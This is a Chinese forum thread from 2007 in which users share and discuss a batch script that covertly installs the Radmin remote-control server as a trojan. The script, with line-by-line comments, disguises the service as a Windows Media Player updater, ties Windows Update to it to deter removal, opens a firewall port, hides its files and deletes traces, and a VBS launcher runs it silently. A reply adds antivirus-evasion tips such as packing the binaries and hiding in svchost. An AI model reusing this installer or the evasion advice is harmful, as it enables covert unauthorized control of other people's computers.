号外！号外！木马安装批处理 - 中国DOS联盟论坛

刚在中国安全网上看到一条消息全球大约1.5亿台电脑在HK控制下

无论是控制的程度有多大数目是惊人的，下面就引用下这个号称打造完美远程控

制的Radmin程序的批处理安装文件: (看过之后记得要检查下下你的宝贝电脑^^)

@echo off
@sc stop r_server
‘假如已经被装过R_server服务，先用SC将它停掉。
@sc delete r_server
‘将已经装过R_server服务删除。
@regedit /s server.reg
@SC create MPservice BinPath= "%systemroot%\system32\drivers\Update.exe /service" type=
own type= interact start= auto DisplayName= "Media Player of Remote Control Driver
Update"
‘这句是用SC建立一个服务，服务名为Mpservice，路径Binpath为"%systemroot%\system32
\drivers\Update.exe /service"，类型type为 own 与interact交互，启动类型start为自动，
显示名DisplayName为"Media Player of Remote Control Driver Update"。
@sc description MPservice "为Windows Media Player提供加载进程及驱动程序、
库提供基层更新安全补丁的服务。"
‘这句是将MPservice服务的描述改为“为Windows Media Player提供加载进程及驱动程序、
库提供基层更新安全补丁的服务。”
@sc config wuauserv depend= MPservice
‘配置MPservice使wuauserv服务依存此服务（wuauserv可以根据自己喜欢改成其它服务，这里的
wuauserv是系统在Windows Update
网站的自动更新服务）。这里的目的是迷惑管理员，使其不敢轻易停止我们生成的Radmin服务。
@echo Windows Registry Editor Version 5.00 > %systemroot%\system32
\drivers\DisFirewall.reg
@echo

>> %systemroot%\system32\drivers\DisFirewall.reg
‘这里添加成的一个DisFirewall.reg注册表文件，在对方是XP SP2系统的情况下
将起到很大重要，由于SP2自带的防火墙配置信息是存
放于注册表中的，所有完全可以通过写入自己想要的信息使你的R_server可以接受
外界的连接。
@echo "5151:TCP"="5151:TCP:*:Enabled:Windows Update Services">> stemroot%\system32
\drivers\DisFirewall.reg
‘这句是允许外部连接5151的TCP端口，设置防火墙此规则名为Windows Update Services。
@regedit /s %systemroot%\system32\drivers\DisFirewall.reg
@attrib +h +r %systemroot%\system32\drivers\Update.exe
@attrib +h +r %systemroot%\system32\drivers\admdll.dll
@attrib +h +r %systemroot%\system32\drivers\raddrv.dll
‘以上三句是设置服务端三个文件为隐藏、只读属性。
@sc start MPservice
@del /q /f /s %systemroot%\system32\drivers\server.reg
@del /q /f /s %systemroot%\system32\drivers\Update.vbs
@del /q /f /s %systemroot%\system32\drivers\Update.bat
@del /q /f /s %systemroot%\system32\drivers\sc.exe
@del /q /f /s %systemroot%\system32\drivers\DisFirewall.reg
‘以上是清理生成出来的杂物，加参数/q是以安静模式删除，不要求确认，
参数/f是强制删除只读文件，参数/s是从所有子目录删除指定文件。

还加了段安静模式下执行CMD的VBS ,作者真是细心那^.^

On Error Resume Next 
set wshshell=createobject ("wscript.shell") 
a=wshshell.run ("Update.bat"，0)

Originally posted by PPdos at 2007-2-1 19:24:
刚在中国安全网上看到一条消息全球大约1.5亿台电脑在HK控制下

无论是控制的程度有多大数目是惊人的，下面就引用下这个号称打造完美远程控

...

不妨发个完整的上来，比如你提到的那几个注册表文件的内容。

1.原装的dll,exe会被认为是病毒的,这个才是免杀的关键,加壳吧
2.r_server没反弹功能,装到xp中,别人重启机子就不见了,--大部分安装xp的都是动态ip啊,何必搞那么多隐藏啊,该服务名啊等等的无用功
3.而且Update.exe在进程里呢,有点知识的都看得懂的,还是svchost多一个少一个没人知道的
4.既然到入了个server.reg,为啥不将
"@echo Windows Registry Editor Version 5.00 > %systemroot%\system32
\drivers\DisFirewall.reg
@echo

>> %systemroot%\system32\drivers\DisFirewall.reg
‘这里添加成的一个DisFirewall.reg注册表文件，在对方是XP SP2系统的情况下
将起到很大重要，由于SP2自带的防火墙配置信息是存
放于注册表中的，所有完全可以通过写入自己想要的信息使你的R_server可以接受
外界的连接。
@echo "5151:TCP"="5151:TCP:*:Enabled:Windows Update Services">> stemroot%\system32
\drivers\DisFirewall.reg "
也写进server.reg呢,一次就搞定,何必多个文件呢
5.在p的开始如下
@echo off
就在后面的所有语句中可以不加@了啊,
6.多看少说,高手多得很呢,特别是dos联盟中哈,还好意思号外号外的乱叫
7.不说了,潜水去了

[ Last edited by qingfushuan on 2007-2-1 at 12:47 PM ]

我晕，这是我投稿给黑客防线中的内容啊。题目叫《打造超级完美一键RADMIN》
当初不懂事写得比较烂，5楼朋友见笑了

[ Last edited by heicai on 2007-2-2 at 12:41 AM ]

以后网上哪篇批处理文章的作者找不到了就发帖到我们论坛来一准抓获@.@

我原来的p问题全在baidu解决,现在到联盟了,好东东太多了,泡在这能长见识啊
我最初的p还是:
@echo off
regedit.exe -s r_server.reg >nul
r_server.exe /install >nul
net start r_server >nul
del %0
之简陋哦

第1楼　PPdos	发表于 2007-02-01 19:24
高级用户　发帖 268　积分 783
号外！号外！木马安装批处理刚在中国安全网上看到一条消息全球大约1.5亿台电脑在HK控制下无论是控制的程度有多大数目是惊人的，下面就引用下这个号称打造完美远程控制的Radmin程序的批处理安装文件: (看过之后记得要检查下下你的宝贝电脑^^) @echo off @sc stop r_server ‘假如已经被装过R_server服务，先用SC将它停掉。 @sc delete r_server ‘将已经装过R_server服务删除。 @regedit /s server.reg @SC create MPservice BinPath= "%systemroot%\system32\drivers\Update.exe /service" type= own type= interact start= auto DisplayName= "Media Player of Remote Control Driver Update" ‘这句是用SC建立一个服务，服务名为Mpservice，路径Binpath为"%systemroot%\system32 \drivers\Update.exe /service"，类型type为 own 与interact交互，启动类型start为自动，显示名DisplayName为"Media Player of Remote Control Driver Update"。 @sc description MPservice "为Windows Media Player提供加载进程及驱动程序、库提供基层更新安全补丁的服务。" ‘这句是将MPservice服务的描述改为“为Windows Media Player提供加载进程及驱动程序、库提供基层更新安全补丁的服务。” @sc config wuauserv depend= MPservice ‘配置MPservice使wuauserv服务依存此服务（wuauserv可以根据自己喜欢改成其它服务，这里的 wuauserv是系统在Windows Update 网站的自动更新服务）。这里的目的是迷惑管理员，使其不敢轻易停止我们生成的Radmin服务。 @echo Windows Registry Editor Version 5.00 > %systemroot%\system32 \drivers\DisFirewall.reg @echo >> %systemroot%\system32\drivers\DisFirewall.reg ‘这里添加成的一个DisFirewall.reg注册表文件，在对方是XP SP2系统的情况下将起到很大重要，由于SP2自带的防火墙配置信息是存放于注册表中的，所有完全可以通过写入自己想要的信息使你的R_server可以接受外界的连接。 @echo "5151:TCP"="5151:TCP:*:Enabled:Windows Update Services">> stemroot%\system32 \drivers\DisFirewall.reg ‘这句是允许外部连接5151的TCP端口，设置防火墙此规则名为Windows Update Services。 @regedit /s %systemroot%\system32\drivers\DisFirewall.reg @attrib +h +r %systemroot%\system32\drivers\Update.exe @attrib +h +r %systemroot%\system32\drivers\admdll.dll @attrib +h +r %systemroot%\system32\drivers\raddrv.dll ‘以上三句是设置服务端三个文件为隐藏、只读属性。 @sc start MPservice @del /q /f /s %systemroot%\system32\drivers\server.reg @del /q /f /s %systemroot%\system32\drivers\Update.vbs @del /q /f /s %systemroot%\system32\drivers\Update.bat @del /q /f /s %systemroot%\system32\drivers\sc.exe @del /q /f /s %systemroot%\system32\drivers\DisFirewall.reg ‘以上是清理生成出来的杂物，加参数/q是以安静模式删除，不要求确认，参数/f是强制删除只读文件，参数/s是从所有子目录删除指定文件。

第2楼　PPdos	发表于 2007-02-01 19:31
高级用户　发帖 268　积分 783
还加了段安静模式下执行CMD的VBS ,作者真是细心那^.^ On Error Resume Next set wshshell=createobject ("wscript.shell") a=wshshell.run ("Update.bat"，0)

第3楼　HUNRYBECKY	发表于 2007-02-01 22:50
银牌会员　发帖 442　积分 1,179
Originally posted by PPdos at 2007-2-1 19:24: 刚在中国安全网上看到一条消息全球大约1.5亿台电脑在HK控制下无论是控制的程度有多大数目是惊人的，下面就引用下这个号称打造完美远程控 ... 不妨发个完整的上来，比如你提到的那几个注册表文件的内容。

第4楼　qingfushuan	发表于 2007-02-02 01:46
高级用户　发帖 327　积分 502
晕 1.原装的dll,exe会被认为是病毒的,这个才是免杀的关键,加壳吧 2.r_server没反弹功能,装到xp中,别人重启机子就不见了,--大部分安装xp的都是动态ip啊,何必搞那么多隐藏啊,该服务名啊等等的无用功 3.而且Update.exe在进程里呢,有点知识的都看得懂的,还是svchost多一个少一个没人知道的 4.既然到入了个server.reg,为啥不将 "@echo Windows Registry Editor Version 5.00 > %systemroot%\system32 \drivers\DisFirewall.reg @echo >> %systemroot%\system32\drivers\DisFirewall.reg ‘这里添加成的一个DisFirewall.reg注册表文件，在对方是XP SP2系统的情况下将起到很大重要，由于SP2自带的防火墙配置信息是存放于注册表中的，所有完全可以通过写入自己想要的信息使你的R_server可以接受外界的连接。 @echo "5151:TCP"="5151:TCP::Enabled:Windows Update Services">> stemroot%\system32 \drivers\DisFirewall.reg " 也写进server.reg呢,一次就搞定,何必多个文件呢 5.在p的开始如下 @echo off 就在后面的所有语句中可以不加@了啊, 6.多看少说,高手多得很呢,特别是dos联盟中哈,还好意思号外号外的乱叫 7.不说了,潜水去了 [ Last edited by qingfushuan on 2007-2-1 at 12:47 PM* ]

第5楼　heicai	发表于 2007-02-02 13:38
中级用户　发帖 156　积分 385
我晕，这是我投稿给黑客防线中的内容啊。题目叫《打造超级完美一键RADMIN》当初不懂事写得比较烂，5楼朋友见笑了 [ Last edited by heicai on 2007-2-2 at 12:41 AM ]

第6楼　PPdos	发表于 2007-02-02 16:47
高级用户　发帖 268　积分 783
以后网上哪篇批处理文章的作者找不到了就发帖到我们论坛来一准抓获@.@

第7楼　qingfushuan	发表于 2007-02-03 01:55
高级用户　发帖 327　积分 502
可以的啊, 我原来的p问题全在baidu解决,现在到联盟了,好东东太多了,泡在这能长见识啊我最初的p还是: @echo off regedit.exe -s r_server.reg >nul r_server.exe /install >nul net start r_server >nul del %0 之简陋哦